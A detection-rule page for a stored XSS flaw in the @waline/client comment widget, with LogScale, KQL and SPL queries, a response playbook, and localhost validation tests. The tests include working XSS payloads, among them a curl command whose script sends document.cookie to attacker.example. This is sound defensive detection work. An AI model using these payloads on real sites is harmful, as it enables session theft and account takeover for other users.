Skip to content
CVE-2026-64670 CrowdStrike LogScale · LogScale

Detect @waline/client Stored XSS via Unsanitized Comment Edit Previews (CVE-2026-64670) in CrowdStrike LogScale

Detects exploitation attempts against CVE-2026-64670, a stored cross-site scripting (XSS) vulnerability in the @waline/client npm package (<= 3.16.2). The comment edit preview renders Markdown/HTML content without proper sanitization (CWE-79/CWE-116), allowing an attacker to inject persistent script payloads through comment submission or edit APIs. When the malicious comment is later previewed or rendered to other users, the injected JavaScript executes in the victim's browser context, enabling session hijacking, credential theft, and defacement. CVSS 9.3. This detection surfaces comment POST/PUT requests to Waline backend endpoints containing script markers, event-handler attributes, or encoded HTML, and browser/CSP telemetry indicating script execution originating from comment content.

MITRE ATT&CK

Tactic
Initial Access Execution

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
// df00tech DF00-bbc2547629 · https://df00tech.com/detections/CVE-2026-64670 · licence: https://df00tech.com/detections/licence
#event_simpleName=/HttpRequest/i
| in(field="HttpMethod", values=["POST","PUT"])
| HttpPath=/(comment|\/waline)/i
| (HttpPath=/(?i)(<script|javascript:|onerror=|onload=|onmouseover=|<svg|<img|document\.cookie|eval\(|fromCharCode|&#x)/ OR HttpQuery=/(?i)(<script|javascript:|onerror=|onload=|document\.cookie)/)
| groupBy([RemoteAddressIP4, HttpPath], function=count())
| sort(_count, order=desc)
high severity medium confidence

CrowdStrike LogScale/CQL query matching XSS markers in POST/PUT requests to Waline comment endpoints.

Data Sources

Web Server Access LogsNetwork HTTP Telemetry

Required Tables

HttpRequest

False Positives & Tuning

  • Legitimate HTML/JS discussion in comments
  • Authorized penetration testing
  • Automated health checks against the comment API

Other platforms for CVE-2026-64670


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Submit stored XSS payload via Waline comment API (script tag)

    Expected signal: Web server access log entry: POST /api/comment with body containing <script> and document.cookie

  2. Test 2 Submit event-handler XSS payload via comment edit

    Expected signal: Web server access log entry: PUT /api/comment/1 with body containing <img and onerror=

  3. Test 3 Submit HTML-entity-encoded XSS payload

    Expected signal: Web server access log entry: POST /api/comment with body containing &#x3C;script encoded markers


Response Playbook

Triage

  1. Confirm the deployed @waline/client version; versions <= 3.16.2 are vulnerable to CVE-2026-64670. Check package-lock.json / node_modules/@waline/client/package.json.
  2. Extract the full comment payload from the flagged request and decode any HTML/URL/entity encoding to determine whether it contains an executable script, event handler, or javascript: URI.
  3. Identify the target comment thread/page and determine whether the stored payload has already been rendered to other users (check view counts, CDN cache, and subsequent GET requests to the affected page).
  4. Review the submitting account and source IP for prior comment activity or reputation (anonymous vs authenticated, repeated submissions, scanner user-agents).

Containment

  1. Delete or quarantine the malicious comment record from the Waline datastore (e.g., the comments collection/table) to stop further rendering, and purge any CDN/edge cache of affected pages.
  2. Deploy a WAF/CSP mitigation: add a strict Content-Security-Policy (script-src 'self') to pages rendering Waline comments and block request bodies matching XSS markers until the package is patched/upgraded above 3.16.2.

Evidence Collection

  1. Preserve the raw web server/WAF logs for the POST/PUT request including full body, headers, source IP, and timestamp.
  2. Export the stored comment record and the HTML as rendered in the edit-preview/display path, plus any browser CSP violation reports or session-token access logs tied to viewers of the affected page.

Escalation Criteria

  • !Escalate to incident response if telemetry shows the payload executed in victim browsers (CSP violations, anomalous session-token use, or outbound beacons to attacker-controlled domains).
  • !Escalate if the payload targeted administrator/moderator views or if exfiltration of session cookies/credentials is confirmed, indicating potential account takeover.

Investigation Guide

Forensic Artifacts

  • >Stored comment record in the Waline backend datastore containing the injected markup
  • >Web server/WAF access logs with the POST/PUT request body
  • >Browser CSP violation reports and session-token access logs for users who viewed the affected page
  • >CDN/edge cache entries of the rendered page

Tuning Guidance

Baseline legitimate comment traffic on your Waline deployment first, technical blogs that allow code snippets will produce benign matches on markers like <script or eval(. Narrow by requiring at least two distinct markers or an event-handler attribute paired with a tag, and by excluding known QA/scanner source IPs. If Waline renders Markdown only, tighten regexes to raw HTML/event-handler patterns that survive its sanitizer. Prioritize alerts where a flagged submission is followed by GET requests to the same thread from other clients (evidence of stored payload delivery).


Hunting Queries

Hunt for repeated XSS-marker-bearing submissions to Waline comment endpoints clustered by source IP.

Hunting — KQL
kql
// df00tech DF00-bbc2547629 · https://df00tech.com/detections/CVE-2026-64670 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csMethod in ("POST","PUT") and csUriStem has "comment" | where csUriQuery has_any ("onerror","<script","javascript:","document.cookie") | summarize count() by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-bbc2547629 · https://df00tech.com/detections/CVE-2026-64670 · licence: https://df00tech.com/detections/licence ```
index=web (method=POST OR method=PUT) uri_path="*comment*" | regex _raw="(?i)(<script|onerror=|javascript:|document\.cookie)" | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 Submit stored XSS payload via Waline comment API (script tag)
linux

Posts a comment containing a script tag to the Waline comment endpoint to validate detection of unsanitized HTML in the submission path.

Command

bash
curl -s -X POST 'http://localhost:8360/api/comment' -H 'Content-Type: application/json' -d '{"url":"/test","comment":"<script>document.location=\"https://attacker.example/c?\"+document.cookie</script>","nick":"tester","mail":"[email protected]"}'

Cleanup

bash
curl -s -X DELETE 'http://localhost:8360/api/comment/<comment_id>' -H 'Authorization: Bearer <admin_token>'

Expected Telemetry

Web server access log entry: POST /api/comment with body containing <script> and document.cookie

Expected Detection

KQL/SPL rules match the POST to a comment endpoint containing <script> and document.cookie markers.

Test 2 Submit event-handler XSS payload via comment edit
linux

Edits an existing comment to inject an img onerror event handler, exercising the vulnerable edit-preview rendering path.

Command

bash
curl -s -X PUT 'http://localhost:8360/api/comment/1' -H 'Content-Type: application/json' -d '{"comment":"<img src=x onerror=alert(document.cookie)>"}'

Cleanup

bash
curl -s -X PUT 'http://localhost:8360/api/comment/1' -H 'Content-Type: application/json' -d '{"comment":"benign"}'

Expected Telemetry

Web server access log entry: PUT /api/comment/1 with body containing <img and onerror=

Expected Detection

Detection matches PUT to comment endpoint with <img and onerror= event handler.

Test 3 Submit HTML-entity-encoded XSS payload
windows

Posts an entity-encoded script payload to test detection of obfuscated XSS that may bypass naive sanitizers in the preview renderer.

Command

powershell
powershell -Command "Invoke-RestMethod -Method Post -Uri 'http://localhost:8360/api/comment' -ContentType 'application/json' -Body '{\"url\":\"/test\",\"comment\":\"&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;\",\"nick\":\"t\",\"mail\":\"[email protected]\"}'"

Cleanup

powershell
Remove-Item -Path .\waline-test-comment.json -ErrorAction SilentlyContinue

Expected Telemetry

Web server access log entry: POST /api/comment with body containing &#x3C;script encoded markers

Expected Detection

Detection matches encoded HTML entity markers (&#x) in a comment submission.

Related Detections